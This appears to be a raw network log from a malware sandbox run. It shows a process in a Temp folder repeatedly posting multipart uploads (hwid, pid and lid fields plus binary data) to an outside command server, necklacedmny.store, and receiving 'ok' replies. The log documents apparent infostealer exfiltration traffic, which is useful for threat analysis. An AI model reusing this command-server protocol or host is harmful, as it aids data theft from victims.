/ZSIEXXQUtXn3VVkWbDiQtX8krXGFfMfH/18kfRVfSzF+ZBsUaVGgcL4BFVoreJynO3zqU4dpw+vxSSczDRVeeHRuW0stU7d9vAsRGnc9lbR6Lqx9jXPGxPNYKH8SXEAqYWcdAWcU/DWwFVlCJQ6LqGoy6EmDcc7D5BgxPQsbQDQzOlsYbVi1fbEJERVqMYm+dyq4e4B2zsv+USN0H1BNNXdlGlMjFLVt91VZLHU1l5FwKKM8nzHZhPVUbitSX0
2024-10-31 23:38:53 UTC	1369	IN	Data Raw: 48 78 5a 6f 55 4c 56 78 73 51 4a 5a 56 43 55 2f 67 2f 38 6a 5a 49 56 62 74 54 33 68 2f 72 4a 48 59 47 70 53 58 45 74 34 4b 79 49 58 45 47 46 63 76 58 4f 2b 41 52 4d 54 62 6a 53 51 75 33 63 74 72 33 71 42 65 73 58 46 39 6c 51 6b 64 52 46 59 53 44 64 38 61 6c 74 64 4c 56 4f 71 4e 65 39 4e 50 41 31 75 4e 70 33 2f 5a 47 71 7a 50 49 64 7a 67 4a 79 79 56 43 64 31 46 46 35 4c 4f 58 56 71 48 68 74 70 56 62 52 7a 74 41 49 64 48 32 51 33 6e 37 4e 31 4c 71 74 39 6a 48 54 50 7a 2f 63 59 59 44 4d 56 51 77 64 67 4d 31 4d 59 42 58 70 45 76 6a 57 6f 51 77 42 61 59 6a 54 62 35 7a 73 6c 75 48 61 4b 63 63 58 4c 39 31 73 68 64 42 39 64 53 7a 4a 36 61 68 30 63 5a 45 61 78 65 62 6b 4b 46 78 5a 72 4e 5a 47 38 64 6d 54 6b 50 49 64 6e 67 4a 79 79 64 43 6c 2b 50 46 42 4c 50 7a 4e Data Ascii: HxZoULVxsQJZVCU/g/8jZIVbtT3h/rJHYGpSXEt4KyIXEGFcvXO+ARMTbjSQu3ctr3qBesXF9lQkdRFYSDd8altdLVOqNe9NPA1uNp3/ZGqzPIdzgJyyVCd1FF5LOXVqHhtpVbRztAIdH2Q3n7N1Lqt9jHTPz/cYYDMVQwdgM1MYBXpEvjWoQwBaYjTb5zsluHaKccXL91shdB9dSzJ6ah0cZEaxebkKFxZrNZG8dmTkPIdngJyydCl+PFBLPzN
2024-10-31 23:38:53 UTC	1369	IN	Data Raw: 52 72 79 63 71 39 4e 51 56 70 54 50 34 75 76 65 47 61 62 61 6f 4e 70 79 38 6e 2b 47 44 45 39 43 78 74 41 4e 44 4d 36 57 78 56 69 58 62 46 36 74 67 51 56 46 32 41 78 6e 72 35 39 49 4b 42 32 67 48 6e 47 78 66 64 53 4c 58 49 59 55 6b 41 77 64 47 45 4a 55 79 4d 55 74 57 33 33 56 56 6b 7a 59 69 71 56 72 7a 73 37 35 47 58 41 65 4d 79 45 71 68 67 71 65 52 31 66 51 44 52 31 5a 78 30 65 62 46 75 7a 64 62 67 4a 45 68 4e 6a 4f 5a 61 36 64 69 43 34 64 6f 74 77 7a 4d 33 2b 56 57 34 39 55 6c 78 66 65 43 73 69 4b 68 35 6a 57 72 56 6a 39 78 4a 58 41 79 55 2f 6c 2f 38 6a 5a 4b 74 77 6a 33 7a 50 78 2f 46 5a 4a 47 45 41 56 30 34 77 64 6d 34 51 48 57 74 47 74 48 71 2b 44 68 6f 54 59 6a 43 58 74 58 67 6a 36 6a 4c 41 65 4e 69 45 71 68 67 4e 5a 41 4a 57 42 79 63 39 65 31 73 55 Data Ascii: Rrycq9NQVpTP4uveGabaoNpy8n+GDE9CxtANDM6WxViXbF6tgQVF2Axnr59IKB2gHnGxfdSLXIYUkAwdGEJUyMUtW33VVkzYiqVrzs75GXAeMyEqhgqeR1fQDR1Zx0ebFuzdbgJEhNjOZa6diC4dotwzM3+VW49UlxfeCsiKh5jWrVj9xJXAyU/l/8jZKtwj3zPx/FZJGEAV04wdm4QHWtGtHq+DhoTYjCXtXgj6jLAeNiEqhgNZAJWByc9e1sU
2024-10-31 23:38:53 UTC	1369	IN	Data Raw: 4f 35 48 78 77 63 61 6a 65 53 74 6e 38 73 71 58 79 45 65 38 66 42 38 56 51 6c 64 42 46 55 51 7a 46 39 61 78 52 54 49 78 53 31 62 66 64 56 57 54 74 2b 4f 35 65 79 4f 7a 76 6b 5a 63 42 34 7a 49 53 71 47 43 4a 39 46 31 74 4e 50 6e 64 6e 48 52 6c 6f 56 4c 6c 32 75 41 6b 66 48 6d 6f 34 6b 4c 5a 36 49 71 39 32 69 33 6e 4e 78 2f 52 65 62 6a 31 53 58 46 39 34 4b 79 49 37 43 47 42 59 74 54 57 6f 51 77 42 61 59 6a 54 62 35 7a 73 76 70 6e 69 48 66 38 33 48 2b 6c 30 71 65 52 64 62 54 79 70 37 59 68 77 42 66 31 53 37 63 4c 73 4f 47 52 35 6a 4d 5a 32 38 66 32 54 6b 50 49 64 6e 67 4a 79 79 64 53 4a 30 4f 31 78 63 65 47 77 73 41 6c 4e 71 57 50 49 74 39 77 77 53 45 47 6f 31 6d 4c 6c 34 4c 36 39 32 67 58 6a 49 79 65 42 62 49 58 77 57 57 30 67 2b 64 57 4d 55 46 57 70 64 73 Data Ascii: O5HxwcajeStn8sqXyEe8fB8VQldBFUQzF9axRTIxS1bfdVWTt+O5eyOzvkZcB4zISqGCJ9F1tNPndnHRloVLl2uAkfHmo4kLZ6Iq92i3nNx/Rebj1SXF94KyI7CGBYtTWoQwBaYjTb5zsvpniHf83H+l0qeRdbTyp7YhwBf1S7cLsOGR5jMZ28f2TkPIdngJyydSJ0O1xceGwsAlNqWPIt9wwSEGo1mLl4L692gXjIyeBbIXwWW0g+dWMUFWpds
2024-10-31 23:38:53 UTC	373	IN	Data Raw: 65 4a 46 73 66 6a 62 56 38 4e 4b 31 72 6a 7a 2b 4f 68 50 30 59 64 6b 70 53 55 6b 41 6a 59 6e 51 57 41 32 6f 55 6a 54 76 33 46 56 6c 43 4a 51 32 59 73 58 55 6a 76 47 33 4e 57 4e 62 4f 39 55 67 70 5a 42 30 62 43 58 68 31 49 6b 4e 41 49 78 53 32 5a 50 64 56 53 55 67 2b 62 63 6a 6f 4b 33 61 31 4d 70 6b 2f 31 6f 53 71 43 6d 41 7a 41 42 73 66 65 44 52 68 43 51 46 72 56 36 52 32 38 44 4d 6e 50 58 38 31 6e 61 68 71 47 70 52 37 6d 6e 4c 47 30 2b 4d 55 4f 33 41 63 56 55 41 75 4d 79 78 62 48 43 30 4d 69 7a 58 2f 54 53 5a 55 4a 53 44 62 35 7a 73 52 71 58 4b 4f 65 4e 62 56 76 33 38 30 66 68 52 4d 56 6e 67 39 49 68 31 54 4e 51 54 38 4e 62 4d 63 57 55 49 31 61 73 44 71 4b 48 50 36 4c 70 38 78 32 59 54 6b 47 48 59 68 58 42 74 56 65 43 73 69 58 42 42 2f 52 72 52 32 6f 51 Data Ascii: eJFsfjbV8NK1rjz+OhP0YdkpSUkAjYnQWA2oUjTv3FVlCJQ2YsXUjvG3NWNbO9UgpZB0bCXh1IkNAIxS2ZPdVSUg+bcjoK3a1Mpk/1oSqCmAzABsfeDRhCQFrV6R28DMnPX81nahqGpR7mnLG0+MUO3AcVUAuMyxbHC0MizX/TSZUJSDb5zsRqXKOeNbVv380fhRMVng9Ih1TNQT8NbMcWUI1asDqKHP6Lp8x2YTkGHYhXBtVeCsiXBB/RrR2oQ
2024-10-31 23:38:53 UTC	1369	IN	Data Raw: 32 36 65 32 0d 0a 42 77 43 52 56 75 51 72 45 79 69 54 4d 61 44 47 67 33 6b 4c 35 46 47 6f 52 78 67 58 7a 4f 68 73 4e 4f 49 32 4d 52 58 6b 41 47 54 57 77 63 42 32 70 61 74 48 58 33 51 31 6b 56 4a 57 43 69 2f 7a 4e 6b 6c 54 4c 41 5a 34 43 63 73 6d 30 74 66 52 78 63 55 53 6b 2b 51 51 30 65 59 6c 2b 7a 4e 66 6c 4e 48 31 6f 39 61 4e 58 2f 66 7a 58 71 4a 4e 41 74 6d 35 47 68 44 33 34 68 44 52 56 65 65 47 55 69 51 30 45 6a 46 4b 41 31 37 30 31 65 46 47 67 35 6d 4c 46 34 4e 72 68 36 67 32 6e 44 67 38 78 6d 44 33 34 5a 56 30 6f 33 65 46 77 6c 4d 6d 42 66 76 6e 69 34 42 69 63 6b 63 44 75 56 73 58 77 79 75 7a 7a 4f 50 38 2b 45 71 6d 46 75 4f 31 4a 6b 43 58 68 72 49 6b 4e 54 57 46 65 38 65 37 41 62 43 46 64 45 4e 5a 43 7a 64 69 75 68 50 4d 34 2f 78 6f 53 71 43 47 41 Data Ascii: 26e2BwCRVuQrEyiTMaDGg3kL5FGoRxgXzOhsNOI2MRXkAGTWwcB2patHX3Q1kVJWCi/zNklTLAZ4Ccsm0tfRxcUSk+QQ0eYl+zNflNH1o9aNX/fzXqJNAtm5GhD34hDRVeeGUiQ0EjFKA1701eFGg5mLF4Nrh6g2nDg8xmD34ZV0o3eFwlMmBfvni4BickcDuVsXwyuzzOP8+EqmFuO1JkCXhrIkNTWFe8e7AbCFdENZCzdiuhPM4/xoSqCGA
2024-10-31 23:38:53 UTC	1369	IN	Data Raw: 69 39 77 63 68 30 51 55 32 71 5a 65 62 45 4b 41 78 31 6a 48 72 76 2f 4e 57 53 6c 50 4e 68 47 67 49 79 79 5a 32 41 7a 43 68 73 66 65 45 5a 68 46 52 31 71 51 71 4d 34 6b 68 6f 61 43 6d 4d 37 32 2f 45 37 49 75 6f 6b 30 44 47 41 77 4f 4d 59 64 69 4e 41 41 42 4a 72 4a 44 4a 4a 44 43 4e 4e 38 6d 50 33 56 55 74 55 4a 53 72 62 35 7a 74 6a 71 57 36 53 65 63 50 53 38 52 38 51 54 54 52 59 56 6a 4a 53 62 77 73 55 55 32 71 6e 64 72 6b 44 48 67 78 30 65 4e 58 2f 64 47 54 79 52 63 41 33 6a 4d 4c 78 54 6d 35 4d 58 42 74 66 65 43 73 69 4c 68 42 6a 57 72 56 6a 70 6b 41 2f 47 58 51 79 75 72 4a 72 49 2b 6f 79 77 48 6d 41 6e 4b 45 57 62 6e 63 44 47 78 39 6f 49 54 6c 4f 51 44 6f 45 34 47 72 35 46 46 6b 4d 4a 57 44 4a 38 54 73 32 36 69 54 41 4f 4d 50 57 34 46 34 74 5a 52 45 63 Data Ascii: i9wch0QU2qZebEKAx1jHrv/NWSlPNhGgIyyZ2AzChsfeEZhFR1qQqM4khoaCmM72/E7Iuok0DGAwOMYdiNAABJrJDJJDCNN8mP3VUtUJSrb5ztjqW6SecPS8R8QTTRYVjJSbwsUU2qndrkDHgx0eNX/dGTyRcA3jMLxTm5MXBtfeCsiLhBjWrVjpkA/GXQyurJrI+oywHmAnKEWbncDGx9oITlOQDoE4Gr5FFkMJWDJ8Ts26iTAOMPW4F4tZREc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49958	188.114.96.3	443	4916	C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 23:38:54 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: necklacedmny.store
2024-10-31 23:38:54 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 34 41 42 43 39 32 41 33 35 36 42 34 43 42 31 44 30 31 30 43 43 41 36 36 31 30 36 43 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F64ABC92A356B4CB1D010CCA66106C85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 23:38:55 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:38:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=eh2blphtckghiut4hqft3jsgvk; expires=Mon, 24-Feb-2025 17:25:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f87004QtAuOmaGXgVc0OX7JutHZ4LcsAf4ellj6mBy2mLqPfFr%2FvBsM6OLeUVLbucBAiJEfkH3r3PdUw9VbCTk%2BaUBPp%2BhDAnKJOwrBqTr8dTbREVk%2BQ3LamuvEIampFddADkXI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db77b3c4dee3ad2-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1116&sent=7&recv=19&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13806&delivery_rate=2538124&cwnd=251&unsent_bytes=0&cid=55fca9700eeffd6b&ts=537&x=0"
2024-10-31 23:38:55 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 23:38:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49967	188.114.96.3	443	4916	C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 23:38:55 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: necklacedmny.store
2024-10-31 23:38:55 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 34 41 42 43 39 32 41 33 35 36 42 34 43 42 31 44 30 31 30 43 43 41 36 36 31 30 36 43 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F64ABC92A356B4CB1D010CCA66106C85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 23:38:56 UTC	1020	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:38:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fah0gvakm3j7t6lafnuushsicd; expires=Mon, 24-Feb-2025 17:25:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4jRhqzoSD3VLfvjP5zz%2Fs%2BqjPY3K3UiDBEXY6NwRjhu28IhB7NkC7VQzyR8UYk1%2B7I6wFpFlUWpwvnHNZ%2B72BFBMH8GHbDTVAlzAwF7MuuI9RQ40hCuFcxGhOjzPpPOXE%2F5gCAo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db77b446df91442-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1017&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2846&recv_bytes=16052&delivery_rate=2726930&cwnd=251&unsent_bytes=0&cid=fd4fccbbf1892239&ts=543&x=0"
2024-10-31 23:38:56 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 23:38:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49978	188.114.96.3	443	4916	C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 23:38:57 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: necklacedmny.store
2024-10-31 23:38:57 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 34 41 42 43 39 32 41 33 35 36 42 34 43 42 31 44 30 31 30 43 43 41 36 36 31 30 36 43 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F64ABC92A356B4CB1D010CCA66106C85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 23:38:57 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-10-31 23:38:58 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:38:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1am44q5rkk9ibhk82anppch325; expires=Mon, 24-Feb-2025 17:25:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eUR7BRHD7%2F2rORPYrmXItsPPWIa9g%2Fid9iHcVzSdNZLhVvuIxq1mUcWr6Vl3SWKqfewz2hvl2ZUP7IB0uE6y2V9DGM8U%2F67kV8cLsQOu7US%2FSCjKYH9KyGrm3YfnyqaSFF9mk88%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db77b4f2cda4761-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=995&sent=10&recv=25&lost=0&retrans=0&sent_bytes=2845&recv_bytes=20932&delivery_rate=2958120&cwnd=246&unsent_bytes=0&cid=0d293a8aced34086&ts=650&x=0"
2024-10-31 23:38:58 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 23:38:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49989	188.114.96.3	443	4916	C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 23:38:59 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1238 Host: necklacedmny.store
2024-10-31 23:38:59 UTC	1238	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 34 41 42 43 39 32 41 33 35 36 42 34 43 42 31 44 30 31 30 43 43 41 36 36 31 30 36 43 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F64ABC92A356B4CB1D010CCA66106C85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 23:38:59 UTC	1014	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:38:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=aro305bj0m9mmm8jvsceb45uqu; expires=Mon, 24-Feb-2025 17:25:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GkMlgjaScH%2BTPP1lnZRK46aFe4q6ASocxBuEb2zpdCAP0HQHKsg1KwT5OEcequo1rgySb5qt%2FjBKkvMvEcUA7Hp2GRP%2FZl6fU4sYsvlbHUTkwxpyAP6cfSYqd8HgyW9kfsO5kSc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db77b5a2cdc2cd9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2010&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2157&delivery_rate=1427304&cwnd=248&unsent_bytes=0&cid=b49025487487ea8f&ts=453&x=0"
2024-10-31 23:38:59 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 23:38:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50000	188.114.96.3	443	4916	C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 23:39:01 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 548820 Host: necklacedmny.store
2024-10-31 23:39:01 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 34 41 42 43 39 32 41 33 35 36 42 34 43 42 31 44 30 31 30 43 43 41 36 36 31 30 36 43 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F64ABC92A356B4CB1D010CCA66106C85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
